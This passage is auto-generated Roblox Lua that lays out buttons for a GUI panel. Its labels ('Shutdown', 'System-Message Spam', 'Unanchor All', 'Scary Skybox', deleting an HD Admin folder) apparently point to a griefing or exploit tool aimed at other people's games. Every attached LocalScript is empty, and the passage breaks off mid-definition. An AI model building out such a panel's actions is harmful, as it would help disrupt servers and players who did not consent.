-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["35"] = Instance.new("TextButton", G2L["11"]);
G2L["35"]["TextWrapped"] = true;
G2L["35"]["TextStrokeTransparency"] = 0;
G2L["35"]["BorderSizePixel"] = 2;
G2L["35"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["35"]["TextSize"] = 14;
G2L["35"]["TextScaled"] = true;
G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["35"]["Size"] = UDim2.new(0, 223, 0, 13);
G2L["35"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["35"]["Text"] = [[Unanchor All]];
G2L["35"]["Position"] = UDim2.new(0.50833, 0, 0.92617, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["36"] = Instance.new("LocalScript", G2L["35"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["37"] = Instance.new("TextButton", G2L["11"]);
G2L["37"]["TextWrapped"] = true;
G2L["37"]["TextStrokeTransparency"] = 0;
G2L["37"]["BorderSizePixel"] = 2;
G2L["37"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["37"]["TextSize"] = 14;
G2L["37"]["TextScaled"] = true;
G2L["37"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["37"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["37"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["37"]["Size"] = UDim2.new(0, 100, 0, 39);
G2L["37"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["37"]["Text"] = [[Remove Skybox]];
G2L["37"]["Position"] = UDim2.new(0.27292, 0, 0.57383, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["38"] = Instance.new("LocalScript", G2L["37"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["39"] = Instance.new("TextButton", G2L["11"]);
G2L["39"]["TextWrapped"] = true;
G2L["39"]["TextStrokeTransparency"] = 0;
G2L["39"]["BorderSizePixel"] = 2;
G2L["39"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["39"]["TextSize"] = 14;
G2L["39"]["TextScaled"] = true;
G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["Size"] = UDim2.new(0, 53, 0, 29);
G2L["39"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["39"]["Text"] = [[Anti-Skid (Delete HD Admin Folder)]];
G2L["39"]["Position"] = UDim2.new(0.27292, 0, 0.75168, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["3a"] = Instance.new("LocalScript", G2L["39"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["3b"] = Instance.new("TextButton", G2L["11"]);
G2L["3b"]["TextWrapped"] = true;
G2L["3b"]["TextStrokeTransparency"] = 0;
G2L["3b"]["BorderSizePixel"] = 2;
G2L["3b"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["3b"]["TextSize"] = 14;
G2L["3b"]["TextScaled"] = true;
G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3b"]["Size"] = UDim2.new(0, 100, 0, 21);
G2L["3b"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["3b"]["Text"] = [[MeshDisco]];
G2L["3b"]["Position"] = UDim2.new(0.275, 0, 0.89933, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["3c"] = Instance.new("LocalScript", G2L["3b"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["3d"] = Instance.new("TextButton", G2L["11"]);
G2L["3d"]["TextWrapped"] = true;
G2L["3d"]["TextStrokeTransparency"] = 0;
G2L["3d"]["BorderSizePixel"] = 2;
G2L["3d"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["3d"]["TextSize"] = 14;
G2L["3d"]["TextScaled"] = true;
G2L["3d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3d"]["Size"] = UDim2.new(0, 67, 0, 39);
G2L["3d"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["3d"]["Text"] = [[NightStar]];
G2L["3d"]["Position"] = UDim2.new(0.83242, 0, 0.21141, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["3e"] = Instance.new("LocalScript", G2L["3d"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["3f"] = Instance.new("TextButton", G2L["11"]);
G2L["3f"]["TextWrapped"] = true;
G2L["3f"]["TextStrokeTransparency"] = 0;
G2L["3f"]["BorderSizePixel"] = 2;
G2L["3f"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["3f"]["TextSize"] = 14;
G2L["3f"]["TextScaled"] = true;
G2L["3f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3f"]["Size"] = UDim2.new(0, 48, 0, 39);
G2L["3f"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["3f"]["Text"] = [[Scary Skybox]];
G2L["3f"]["Position"] = UDim2.new(0.14583, 0, 0.18456, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["40"] = Instance.new("LocalScript", G2L["3f"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["41"] = Instance.new("TextButton", G2L["11"]);
G2L["41"]["TextWrapped"] = true;
G2L["41"]["TextStrokeTransparency"] = 0;
G2L["41"]["BorderSizePixel"] = 2;
G2L["41"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["41"]["TextSize"] = 14;
G2L["41"]["TextScaled"] = true;
G2L["41"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["41"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["41"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["41"]["Size"] = UDim2.new(0, 53, 0, 45);
G2L["41"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["41"]["Text"] = [[Make HD Skybox Current Sky]];
G2L["41"]["Position"] = UDim2.new(0.01875, 0, 0.81879, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["42"] = Instance.new("LocalScript", G2L["41"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["43"] = Instance.new("TextButton", G2L["11"]);
G2L["43"]["TextWrapped"] = true;
G2L["43"]["TextStrokeTransparency"] = 0;
G2L["43"]["BorderSizePixel"] = 2;
G2L["43"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["43"]["TextSize"] = 14;
G2L["43"]["TextScaled"] = true;
G2L["43"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["43"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["43"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["43"]["Size"] = UDim2.new(0, 53, 0, 45);
G2L["43"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["43"]["Text"] = [[Spin Current Sky]];
G2L["43"]["Position"] = UDim2.new(0.13542, 0, 0.81879, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["44"] = Instance.new("LocalScript", G2L["43"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["45"] = Instance.new("TextButton", G2L["11"]);
G2L["45"]["TextWrapped"] = true;
G2L["45"]["TextStrokeTransparency"] = 0;
G2L["45"]["BorderSizePixel"] = 2;
G2L["45"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["45"]["TextSize"] = 14;
G2L["45"]["TextScaled"] = true;
G2L["45"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["45"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["45"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["45"]["Size"] = UDim2.new(0, 66, 0, 39);
G2L["45"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["45"]["Text"] = [[Particles]];
G2L["45"]["Position"] = UDim2.new(0.83125, 0, 0.57383, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["46"] = Instance.new("LocalScript", G2L["45"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["47"] = Instance.new("TextButton", G2L["11"]);
G2L["47"]["TextWrapped"] = true;
G2L["47"]["TextStrokeTransparency"] = 0;
G2L["47"]["BorderSizePixel"] = 2;
G2L["47"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["47"]["TextSize"] = 14;
G2L["47"]["TextScaled"] = true;
G2L["47"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["47"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["47"]["Size"] = UDim2.new(0, 66, 0, 39);
G2L["47"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["47"]["Text"] = [[Raining green2spooky]];
G2L["47"]["Position"] = UDim2.new(0.83125, 0, 0.38926, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["48"] = Instance.new("LocalScript", G2L["47"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["49"] = Instance.new("TextButton", G2L["11"]);
G2L["49"]["TextWrapped"] = true;
G2L["49"]["TextStrokeTransparency"] = 0;
G2L["49"]["BorderSizePixel"] = 2;
G2L["49"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["49"]["TextSize"] = 14;
G2L["49"]["TextScaled"] = true;
G2L["49"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["49"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["49"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["49"]["Size"] = UDim2.new(0, 36, 0, 39);
G2L["49"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["49"]["Text"] = [[I'0rb V2]];
G2L["49"]["Position"] = UDim2.new(0.59583, 0, 0.38926, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["4a"] = Instance.new("LocalScript", G2L["49"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["4b"] = Instance.new("TextButton", G2L["11"]);
G2L["4b"]["TextWrapped"] = true;
G2L["4b"]["TextStrokeTransparency"] = 0;
G2L["4b"]["BorderSizePixel"] = 2;
G2L["4b"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["4b"]["TextSize"] = 14;
G2L["4b"]["TextScaled"] = true;
G2L["4b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4b"]["Size"] = UDim2.new(0, 47, 0, 29);
G2L["4b"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["4b"]["Text"] = [[Dev Uzi]];
G2L["4b"]["Position"] = UDim2.new(0.38468, 0, 0.75168, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["4c"] = Instance.new("LocalScript", G2L["4b"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton
G2L["4d"] = Instance.new("TextButton", G2L["2"]);
G2L["4d"]["TextWrapped"] = true;
G2L["4d"]["TextStrokeTransparency"] = 0;
G2L["4d"]["BorderSizePixel"] = 2;
G2L["4d"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["4d"]["TextSize"] = 14;
G2L["4d"]["TextScaled"] = true;
G2L["4d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4d"]["Size"] = UDim2.new(0, 80, 0, 29);
G2L["4d"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["4d"]["Text"] = [[Home]];
G2L["4d"]["Position"] = UDim2.new(0.83242, 0, -1.03242, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
G2L["4e"] = Instance.new("LocalScript", G2L["4d"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton
G2L["4f"] = Instance.new("TextButton", G2L["2"]);
G2L["4f"]["TextWrapped"] = true;
G2L["4f"]["TextStrokeTransparency"] = 0;
G2L["4f"]["BorderSizePixel"] = 2;
G2L["4f"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["4f"]["TextSize"] = 14;
G2L["4f"]["TextScaled"] = true;
G2L["4f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4f"]["Size"] = UDim2.new(0, 80, 0, 29);
G2L["4f"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["4f"]["Text"] = [[ F3X Page]];
G2L["4f"]["Position"] = UDim2.new(0.64701, 0, -1.03242, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
G2L["50"] = Instance.new("LocalScript", G2L["4f"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo
G2L["51"] = Instance.new("Frame", G2L["2"]);
G2L["51"]["Visible"] = false;
G2L["51"]["BorderSizePixel"] = 2;
G2L["51"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["51"]["Size"] = UDim2.new(0, 480, 0, 298);
G2L["51"]["Position"] = UDim2.new(-0, 0, 1, 0);
G2L["51"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["51"]["Name"] = [[hd edmin woohoo]];


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["52"] = Instance.new("TextButton", G2L["51"]);
G2L["52"]["TextWrapped"] = true;
G2L["52"]["TextStrokeTransparency"] = 0;
G2L["52"]["BorderSizePixel"] = 2;
G2L["52"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["52"]["TextSize"] = 14;
G2L["52"]["TextScaled"] = true;
G2L["52"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["52"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["52"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["52"]["Size"] = UDim2.new(0, 153, 0, 64);
G2L["52"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["52"]["Text"] = [[Forceplace]];
G2L["52"]["Position"] = UDim2.new(0.24167, 0, 0.54362, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["53"] = Instance.new("LocalScript", G2L["52"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["54"] = Instance.new("TextButton", G2L["51"]);
G2L["54"]["TextWrapped"] = true;
G2L["54"]["TextStrokeTransparency"] = 0;
G2L["54"]["BorderSizePixel"] = 2;
G2L["54"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["54"]["TextSize"] = 14;
G2L["54"]["TextScaled"] = true;
G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["54"]["Size"] = UDim2.new(0, 182, 0, 64);
G2L["54"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["54"]["Text"] = [[F3X]];
G2L["54"]["Position"] = UDim2.new(0.59583, 0, 0.02013, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["55"] = Instance.new("LocalScript", G2L["54"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["56"] = Instance.new("TextButton", G2L["51"]);
G2L["56"]["TextWrapped"] = true;
G2L["56"]["TextStrokeTransparency"] = 0;
G2L["56"]["BorderSizePixel"] = 2;
G2L["56"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["56"]["TextSize"] = 14;
G2L["56"]["TextScaled"] = true;
G2L["56"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["56"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["56"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["56"]["Size"] = UDim2.new(0, 182, 0, 24);
G2L["56"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["56"]["Text"] = [[R6]];
G2L["56"]["Position"] = UDim2.new(0.59583, 0, 0.26846, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["57"] = Instance.new("LocalScript", G2L["56"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["58"] = Instance.new("TextButton", G2L["51"]);
G2L["58"]["TextWrapped"] = true;
G2L["58"]["TextStrokeTransparency"] = 0;
G2L["58"]["BorderSizePixel"] = 2;
G2L["58"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["58"]["TextSize"] = 14;
G2L["58"]["TextScaled"] = true;
G2L["58"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["58"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["58"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["58"]["Size"] = UDim2.new(0, 182, 0, 24);
G2L["58"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["58"]["Text"] = [[System-Message Spam]];
G2L["58"]["Position"] = UDim2.new(0.59583, 0, 0.39262, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["59"] = Instance.new("LocalScript", G2L["58"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["5a"] = Instance.new("TextButton", G2L["51"]);
G2L["5a"]["TextWrapped"] = true;
G2L["5a"]["TextStrokeTransparency"] = 0;
G2L["5a"]["BorderSizePixel"] = 2;
G2L["5a"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["5a"]["TextSize"] = 14;
G2L["5a"]["TextScaled"] = true;
G2L["5a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5a"]["Size"] = UDim2.new(0, 182, 0, 24);
G2L["5a"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["5a"]["Text"] = [[Anti-Skid]];
G2L["5a"]["Position"] = UDim2.new(0.59583, 0, 0.54362, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["5b"] = Instance.new("LocalScript", G2L["5a"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["5c"] = Instance.new("TextButton", G2L["51"]);
G2L["5c"]["TextWrapped"] = true;
G2L["5c"]["TextStrokeTransparency"] = 0;
G2L["5c"]["BorderSizePixel"] = 2;
G2L["5c"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["5c"]["TextSize"] = 14;
G2L["5c"]["TextScaled"] = true;
G2L["5c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5c"]["Size"] = UDim2.new(0, 182, 0, 24);
G2L["5c"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["5c"]["Text"] = [[ServerMessage]];
G2L["5c"]["Position"] = UDim2.new(0.59583, 0, 0.67785, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["5d"] = Instance.new("LocalScript", G2L["5c"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["5e"] = Instance.new("TextButton", G2L["51"]);
G2L["5e"]["TextWrapped"] = true;
G2L["5e"]["TextStrokeTransparency"] = 0;
G2L["5e"]["BorderSizePixel"] = 2;
G2L["5e"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["5e"]["TextSize"] = 14;
G2L["5e"]["TextScaled"] = true;
G2L["5e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5e"]["Size"] = UDim2.new(0, 182, 0, 44);
G2L["5e"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["5e"]["Text"] = [[Hint]];
G2L["5e"]["Position"] = UDim2.new(0.59583, 0, 0.8255, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["5f"] = Instance.new("LocalScript", G2L["5e"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["60"] = Instance.new("TextButton", G2L["51"]);
G2L["60"]["TextWrapped"] = true;
G2L["60"]["TextStrokeTransparency"] = 0;
G2L["60"]["BorderSizePixel"] = 2;
G2L["60"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["60"]["TextSize"] = 14;
G2L["60"]["TextScaled"] = true;
G2L["60"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["60"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["60"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["60"]["Size"] = UDim2.new(0, 67, 0, 44);
G2L["60"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["60"]["Text"] = [[Shutdown]];
G2L["60"]["Position"] = UDim2.new(0.24167, 0, 0.8255, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["61"] = Instance.new("LocalScript", G2L["60"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["62"] = Instance.new("TextButton", G2L["51"]);
G2L["62"]["TextWrapped"] = true;
G2L["62"]["TextStrokeTransparency"] = 0;
G2L["62"]["BorderSizePixel"] = 2;
G2L["62"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["62"]["TextSize"] = 14;
G2L["62"]["TextScaled"] = true;
G2L["62"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["62"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["62"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["62"]["Size"] = UDim2.new(0, 67, 0, 44);
G2L["62"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["62"]["Text"] = [[Billboard]];
G2L["62"]["Position"] = UDim2.new(0.42083, 0, 0.8255, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["63"] = Instance.new("LocalScript", G2L["62"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["64"] = Instance.new("TextButton", G2L["51"]);
G2L["64"]["TextWrapped"] = true;
G2L["64"]["TextStrokeTransparency"] = 0;
G2L["64"]["BorderSizePixel"] = 2;
G2L["64"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["64"]["TextSize"] = 14;
G2L["64"]["TextScaled"] = true;
G2L["64"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["64"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["64"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["64"]["Size"] = UDim2.new(0, 153, 0, 64);
G2L["64"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["64"]["Text"] = [[God Laser]];
G2L["64"]["Position"] = UDim2.new(0.24167, 0, 0.26846, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["65"] = Instance.new("LocalScript", G2L["64"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["66"] = Instance.new("TextButton", G2L["51"]);
G2L["66"]["TextWrapped"] = true;
G2L["66"]["TextStrokeTransparency"] = 0;
G2L["66"]["BorderSizePixel"] = 2;
G2L["66"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["66"]["TextSize"] = 14;
G2L["66"]["TextScaled"] = true;
G2L["66"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["66"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["66"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["66"]["Size"] = UDim2.new(0, 153, 0, 64);
G2L["66"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["66"]["Text"] = [[Message 2]];
G2L["66"]["Position"] = UDim2.new(0.24167, 0, 0.02013, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton.LocalScript
G2L["67"] = Instance.new("LocalScript", G2L["66"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.hd edmin woohoo.TextButton
G2L["68"] = Instance.new("TextButton", G2L["51"]);
G2L["68"]["TextWrapped"] = true;
G2L["68"]["TextStrokeTransparency"] = 0;
G2L["68"]["BorderSizePixel"] = 2;
G2L["68"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["68"]["TextSize"] = 14;
G2L["68"]["TextScaled"] = true;
G2L["68"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["68"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["68"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["68"]["Size"] = UDim2.new(0, 94, 0, 64);
G2L["68"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["68"]["Text"] = [[Hint 2]];
